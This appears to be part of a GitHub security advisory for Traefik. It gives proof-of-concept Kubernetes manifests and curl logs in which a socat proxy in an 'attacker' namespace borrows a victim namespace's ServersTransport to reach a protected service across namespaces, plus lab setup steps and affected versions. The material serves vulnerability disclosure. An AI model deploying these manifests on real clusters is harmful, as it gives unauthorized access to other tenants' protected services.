Y2Z29MVVExR0VYZlBGaE5EWis1UUFHcGljeHYxdjFUVUpBNEFqS1VSYlpIRApvclhJd0IvTVc1VnpsMGRNM3k2ekJ1aUlMWUJUMVdidVI5MWlsdGxtR0JBVGdGNlJlNk04SnlmYW10bHNxbHR3CmNUQll4LzBYNzljT2FNM21iTHlOeWxiZkhMek5USmx4em9OTXNhR0J4RVNJTFovRnFkWmhjeTJBOW1IbGV5VlYKSVdJRjlmTDZpS2IxN3dMbXhWM1pxR3JMZFNraXRPNUdjYjVWTWc4U2VSLzNPc0pySGtQZy8wRlhiMDlUY2V4VwplbFZSVzhyWHhLQldjT2dZaWhQK3hweTJiUHV0bWllaVFpZVpUMVMxSXczSWJMWXBxYzNvU3NmVklSSTJ6R0FJCkJVNHREVHBjR3ZOdEErVGs4R2xJcnppSmV0QUlhNWRvaTFJPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
---
# The following resources are only for demo purposes to show a more realistic scenario:
kind: Middleware
apiVersion: traefik.io/v1alpha1
metadata:
name: basicauth
namespace: traefik-victim
spec:
basicAuth:
secret: authsecret
---
kind: Secret
apiVersion: v1
metadata:
name: authsecret
namespace: traefik-victim
type: kubernetes.io/basic-auth
data:
username: dXNlcg== # username: user
password: cGFzc3dvcmQ= # password: password
---PoC service.serverstransport / attacker.yaml
kind: Ingress
apiVersion: networking.k8s.io/v1
metadata:
name: traefik-ingress
namespace: traefik-attacker
annotations:
traefik.ingress.kubernetes.io/router.entrypoints: web,websecure
spec:
ingressClassName: traefik
rules:
- host: traefik-attacker.gke.gcp.ernw.eu
http:
paths:
- path: /example-app
pathType: Prefix
backend:
service:
name: socat-proxy
port:
number: 443
tls:
- hosts: ["traefik-attacker.gke.gcp.ernw.eu"]
secretName: tls-cert
---
kind: Service
apiVersion: v1
metadata:
name: socat-proxy
namespace: traefik-attacker
annotations:
traefik.ingress.kubernetes.io/service.serverstransport: traefik-victim-serverstransport@kubernetescrd
spec:
selector:
app: socat-proxy
ports:
- port: 443
targetPort: 443
name: https
---
kind: Deployment
apiVersion: apps/v1
metadata:
name: socat-proxy
namespace: traefik-attacker
labels:
app: socat-proxy
spec:
replicas: 1
selector:
matchLabels:
app: socat-proxy
template:
metadata:
labels:
app: socat-proxy
spec:
containers:
- command:
- /usr/bin/socat
- -dd
- TCP4-LISTEN:443,fork
- TCP4:mtls-nginx.traefik-victim.svc.cluster.local:443
image: alpine/socat:1.8.0.0
imagePullPolicy: IfNotPresent
name: socat
securityContext:
capabilities:
add:
- NET_BIND_SERVICE
drop:
- ALL
readOnlyRootFilesystem: true
runAsNonRoot: falsePoC router.middlewares intern-demo-access-victims-pod-wo-auth.txt
$ kubectl run -it -n traefik-attacker --rm --image=curlimages/curl curly -- /bin/sh If you don't see a command prompt, try pressing enter. ~ $ /usr/bin/curl -vv http://example-app-service.traefik-victim.svc.cluster.local/example-app/ 19:52:54.971932 [0-0] * Host example-app-service.traefik-victim.svc.cluster.local:80 was resolved. 19:52:54.972037 [0-0] * IPv6: (none) 19:52:54.972071 [0-0] * IPv4: 34.118.229.151 19:52:54.972111 [0-0] * [SETUP] added 19:52:54.972181 [0-0] * Trying 34.118.229.151:80... 19:52:54.972358 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=0 19:52:54.978079 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=1 19:52:54.978123 [0-0] * Established connection to example-app-service.traefik-victim.svc.cluster.local (34.118.229.151 port 80) from 10.80.0.4 port 41754 19:52:54.978166 [0-0] * [SETUP] query ALPN 19:52:54.978219 [0-0] * using HTTP/1.x 19:52:54.978327 [0-0] > GET /example-app/ HTTP/1.1 19:52:54.978327 [0-0] > Host: example-app-service.traefik-victim.svc.cluster.local 19:52:54.978327 [0-0] > User-Agent: curl/8.17.0 19:52:54.978327 [0-0] > Accept: */* 19:52:54.978327 [0-0] > 19:52:54.978699 [0-0] < HTTP/1.1 401 Unauthorized 19:52:54.978758 [0-0] < Server: nginx/1.29.4 19:52:54.978829 [0-0] < Date: Wed, 17 Dec 2025 19:52:54 GMT 19:52:54.978905 [0-0] < Content-Type: text/html 19:52:54.978989 [0-0] < Content-Length: 179 19:52:54.979059 [0-0] < Connection: keep-alive 19:52:54.979122 [0-0] < <html> <head><title>401 Authorization Required</title></head> <body> <center><h1>401 Authorization Required</h1></center> <hr><center>nginx/1.29.4</center> </body> </html> 19:52:54.979206 [0-0] * Connection #0 to host example-app-service.traefik-victim.svc.cluster.local:80 left intact
PoC router.middlewares intern-demo-access-victims-pod-with-auth.txt
kubectl run -it -n traefik-attacker --rm --image=curlimages/curl curly -- /bin/sh
If you don't see a command prompt, try pressing enter.
~ $ /usr/bin/curl -H 'X-API-Token: example-secret-api-token' -vv http://example-app-service.traefik-vic
tim.svc.cluster.local/example-app/
19:55:24.754545 [0-0] * Host example-app-service.traefik-victim.svc.cluster.local:80 was resolved.
19:55:24.754622 [0-0] * IPv6: (none)
19:55:24.754677 [0-0] * IPv4: 34.118.229.151
19:55:24.754739 [0-0] * [SETUP] added
19:55:24.754849 [0-0] * Trying 34.118.229.151:80...
19:55:24.755046 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=0
19:55:24.756280 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=1
19:55:24.756365 [0-0] * Established connection to example-app-service.traefik-victim.svc.cluster.local (34.118.229.151 port 80) from 10.80.0.5 port 46456
19:55:24.756434 [0-0] * [SETUP] query ALPN
19:55:24.756487 [0-0] * using HTTP/1.x
19:55:24.756721 [0-0] > GET /example-app/ HTTP/1.1
19:55:24.756721 [0-0] > Host: example-app-service.traefik-victim.svc.cluster.local
19:55:24.756721 [0-0] > User-Agent: curl/8.17.0
19:55:24.756721 [0-0] > Accept: */*
19:55:24.756721 [0-0] > X-API-Token: example-secret-api-token
19:55:24.756721 [0-0] >
19:55:24.757020 [0-0] * Request completely sent off
19:55:24.757269 [0-0] < HTTP/1.1 200 OK
19:55:24.757329 [0-0] < Server: nginx/1.29.4
19:55:24.757387 [0-0] < Date: Wed, 17 Dec 2025 19:55:24 GMT
19:55:24.757459 [0-0] < Content-Type: text/html
19:55:24.757535 [0-0] < Content-Length: 1189
19:55:24.757616 [0-0] < Last-Modified: Wed, 17 Dec 2025 19:39:32 GMT
19:55:24.757683 [0-0] < Connection: keep-alive
19:55:24.757748 [0-0] < ETag: "694306f4-4a5"
19:55:24.757836 [0-0] < Accept-Ranges: bytes
19:55:24.757894 [0-0] <
<!doctype html>
<html>
<head>
<title>Secret Password Protect Page</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
}
div {
width: 600px;
margin: 5em auto;
padding: 2em;
background-color: #fdfdff;
border-radius: 0.5em;
box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
}
a:link, a:visited {
color: #38488f;
text-decoration: none;
}
@media (max-width: 700px) {
div {
margin: 0 auto;
width: auto;
}
}
</style>
</head>
<body>
<div>
<h1>Secret Password Protect Page</h1>
<p>The content of this page is protected by an API token and exposed only through basic auth! No other internal service can access this page. 😈</p>
</div>
</body>
</html>
19:55:24.757987 [0-0] * Connection #0 to host example-app-service.traefik-victim.svc.cluster.local:80 left intactTest Setup
The Traefik proxy was installed with the default configuration except for some settings for debugging purposes:
- `
DEBUG` level logs enabled - access logs enabled
- Dashboard enabled
$ cat traefik-values.yaml
ingressRoute:
dashboard:
enabled: true
logs:
general:
level: DEBUG
access:
# -- To enable access logs
enabled: true
image: ## using the latest release version from 16.12.2025
tag: v3.6.5
$ kubectl create namespace traefik
# first: helm repo add traefik https://traefik.github.io/charts
$ helm install -n traefik -f traefik-values.yaml traefik traefik/traefik<!-- - Update IP address of the traefik domain (See IP with kubectl get service -n traefik) : https://console.cloud.google.com/net-services/dns/zones/gcp-ernw-eu/details?inv=1&invt=Abz2OA&project=folkloric-stone-231516 -->
helm install -n traefik -f traefik-values.yaml traefik traefik/traefik NAME: traefik LAST DEPLOYED: Wed Dec 17 18:34:31 2025 NAMESPACE: traefik STATUS: deployed REVISION: 1 DESCRIPTION: Install complete TEST SUITE: None NOTES: traefik with docker.io/traefik:v3.6.5 has been deployed successfully on traefik namespace !
Verify the correct version was installed:
kubectl exec -n traefik deploy/traefik -- traefik version Version: 3.6.5 Codename: ramequin Go version: go1.24.11 Built: 2025-12-16T14:56:48Z OS/Arch: linux/amd64
List of all pods after installation:
$ kubectl get pods -A NAMESPACE NAME READY STATUS RESTARTS AGE [...] traefik traefik-68fc9dcdd8-b478w 1/1 Running 0 8m28s
In addition, a TLS certificate needs to be deployed for a proper demo setup:
$ kubectl create secret -n traefik-victim tls tls-cert \ --key=../k8s-lab-env/gke.gcp.ernw.eu/privkey1.pem \ --cert=../k8s-lab-env/gke.gcp.ernw.eu/fullchain1.pem $ kubectl create secret -n traefik-attacker tls tls-cert \ --key=../k8s-lab-env/gke.gcp.ernw.eu/privkey1.pem \ --cert=../k8s-lab-env/gke.gcp.ernw.eu/fullchain1.pem
</details>
Text from GitHub Advisory Database
Affected versions 3
- github.com/traefik/traefik/v2, go<= v2.11.45GitHub
- github.com/traefik/traefik/v3, go>= v3.0.0, <= v3.6.16GitHub
- github.com/traefik/traefik/v3, go>= v3.7.0, <= v3.7.0GitHub